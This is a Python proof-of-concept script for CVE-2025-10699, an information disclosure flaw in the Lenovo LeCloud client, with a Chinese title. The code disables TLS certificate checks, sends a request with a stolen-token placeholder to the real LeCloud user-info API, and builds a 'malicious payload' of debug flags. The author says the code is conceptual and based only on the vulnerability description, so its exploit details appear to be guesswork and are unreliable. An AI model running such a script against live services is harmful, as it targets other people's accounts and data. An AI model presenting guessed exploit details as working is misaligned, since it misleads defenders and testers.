CVE-2025-10699 Lenovo LeCloud客户端信息泄露漏洞

# CVE-2025-10699 - Lenovo LeCloud Information Disclosure PoC # Note: This is a conceptual PoC based on vulnerability description # The actual exploitation requires specific conditions and user interaction import requests import ssl import socket from urllib.parse import urlparse TARGET_HOST = "lecloud.lenovo.com" TARGET_PORT = 443 def intercept_client_request(): """ Simulate intercepting Lenovo LeCloud client communication to demonstrate potential information disclosure. """ # Create SSL context that doesn't verify certificates (MITM scenario) context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE try: # Attempt to connect to LeCloud service with socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=TARGET_HOST) as ssock: # Craft a malicious request that may trigger info disclosure # when user interacts with the client application request = ( "GET /api/v1/user/info HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" "User-Agent: LenovoLeCloud/1.0\r\n" "Authorization: Bearer <stolen_or_manipulated_token>\r\n" "\r\n" ) ssock.send(request.encode()) response = ssock.recv(4096) print(f"[*] Response received: {response.decode(errors='ignore')}") return response except Exception as e: print(f"[!] Error: {e}") return None def craft_malicious_payload(): """ Craft a payload designed to trigger the vulnerability when the LeCloud client processes it. """ payload = { "action": "sync_metadata", "params": { "path": "/", "recursive": True, # Malicious parameters that may cause info disclosure "debug_mode": True, "include_internal": True } } return payload if __name__ == "__main__": print("[*] CVE-2025-10699 PoC - Lenovo LeCloud Information Disclosure") print("[*] Note: Requires user interaction and specific conditions") print("[*] Attempting to demonstrate vulnerability concept...") # intercept_client_request() # Uncomment in authorized testing payload = craft_malicious_payload() print(f"[*] Crafted payload: {payload}")